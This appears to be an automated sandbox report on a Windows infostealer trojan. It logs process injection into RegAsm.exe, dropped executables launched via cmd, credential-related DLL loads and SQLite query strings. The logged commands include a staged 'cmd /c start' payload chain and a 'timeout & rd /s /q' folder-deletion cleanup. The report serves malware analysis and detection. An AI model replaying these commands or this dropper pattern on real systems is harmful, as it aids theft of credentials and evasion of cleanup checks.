Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_225FAEBE	8_2_225FAEBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224219DD	8_2_224219DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22453370	8_2_22453370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2242174E	8_2_2242174E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2242F160	8_2_2242F160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2244BAB0	8_2_2244BAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2242251D	8_2_2242251D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2242290A	8_2_2242290A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22423AB2	8_2_22423AB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22548030	8_2_22548030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224A0090	8_2_224A0090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224A8120	8_2_224A8120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22448680	8_2_22448680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22448763	8_2_22448763
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22484760	8_2_22484760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224B8760	8_2_224B8760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22560480	8_2_22560480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22524A60	8_2_22524A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22421EF1	8_2_22421EF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22448D2A	8_2_22448D2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_225FD209	8_2_225FD209
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22423580	8_2_22423580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224B53B0	8_2_224B53B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22545040	8_2_22545040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22439000	8_2_22439000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224DD6D0	8_2_224DD6D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224C9690	8_2_224C9690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22589430	8_2_22589430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22422018	8_2_22422018
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22549A20	8_2_22549A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22421C9E	8_2_22421C9E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224D5940	8_2_224D5940

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004047E8 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00410609 appears 71 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C4809D0 appears 89 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 2242415B appears 131 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 226006B1 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004045C0 appears 317 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C2994D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 22421C2B appears 45 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004104E7 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C28CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 2242395E appears 74 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 22423AF3 appears 35 times

Source: file.exe

Static PE information: invalid certificate

Source: file.exe, 00000000.00000000.1730227278.00000000005F2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVQP.exeD vs file.exe
Source: file.exe, 00000000.00000002.1733374706.0000000000C8E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: userKECGDBFCBK.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: vdshfd[1].exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: userHJEBGHIEBF.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: ljhgfsd[1].exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: HDGCAAFBFB.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@34/57@14/11

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_6C2B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

2_2_6C2B7030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

2_2_00419600

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00413720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

2_2_00413720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6420:120:WilError_03
Source: C:\ProgramData\AFBFHDBKJE.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6664:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2228:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6816:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5496:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2836:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Temp\delays.tmp

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2256826303.000000001B41B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2274956681.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2637148462.000000001C6C1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2646668431.0000000022638000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2256826303.000000001B41B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2274956681.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2637148462.000000001C6C1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2646668431.0000000022638000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2637148462.000000001C6C1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2646668431.0000000022638000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2256826303.000000001B41B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2274956681.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2637148462.000000001C6C1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2646668431.0000000022638000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: RegAsm.exe, RegAsm.exe, 00000008.00000002.2637148462.000000001C6C1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2646668431.0000000022638000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: RegAsm.exe, 00000008.00000002.2637148462.000000001C6C1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2646668431.0000000022638000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2256826303.000000001B41B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2274956681.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2637148462.000000001C6C1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2646668431.0000000022638000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2256826303.000000001B41B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2274956681.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2637148462.000000001C6C1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2646668431.0000000022638000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 00000002.00000002.2256826303.000000001B41B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2274956681.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: RegAsm.exe, 00000008.00000002.2637148462.000000001C6C1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2646668431.0000000022638000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: RegAsm.exe, RegAsm.exe, 00000008.00000002.2637148462.000000001C6C1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2646668431.0000000022638000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000002.00000002.2256826303.000000001B41B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2274956681.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2637148462.000000001C6C1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2646668431.0000000022638000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: RegAsm.exe	String found in binary or memory: ft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d
Source: RegAsm.exe	String found in binary or memory: m/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userKECGDBFCBK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userKECGDBFCBK.exe "C:\Users\userKECGDBFCBK.exe"
Source: C:\Users\userKECGDBFCBK.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\userKECGDBFCBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userHJEBGHIEBF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userHJEBGHIEBF.exe "C:\Users\userHJEBGHIEBF.exe"
Source: C:\Users\userHJEBGHIEBF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\HDGCAAFBFB.exe "C:\ProgramData\HDGCAAFBFB.exe"
Source: C:\ProgramData\HDGCAAFBFB.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\HDGCAAFBFB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\AFBFHDBKJE.exe "C:\ProgramData\AFBFHDBKJE.exe"
Source: C:\ProgramData\AFBFHDBKJE.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\AFBFHDBKJE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\EGIDAAFIEHIE" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userKECGDBFCBK.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userHJEBGHIEBF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userKECGDBFCBK.exe "C:\Users\userKECGDBFCBK.exe"	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\HDGCAAFBFB.exe "C:\ProgramData\HDGCAAFBFB.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\AFBFHDBKJE.exe "C:\ProgramData\AFBFHDBKJE.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\EGIDAAFIEHIE" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userHJEBGHIEBF.exe "C:\Users\userHJEBGHIEBF.exe"	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\HDGCAAFBFB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\AFBFHDBKJE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
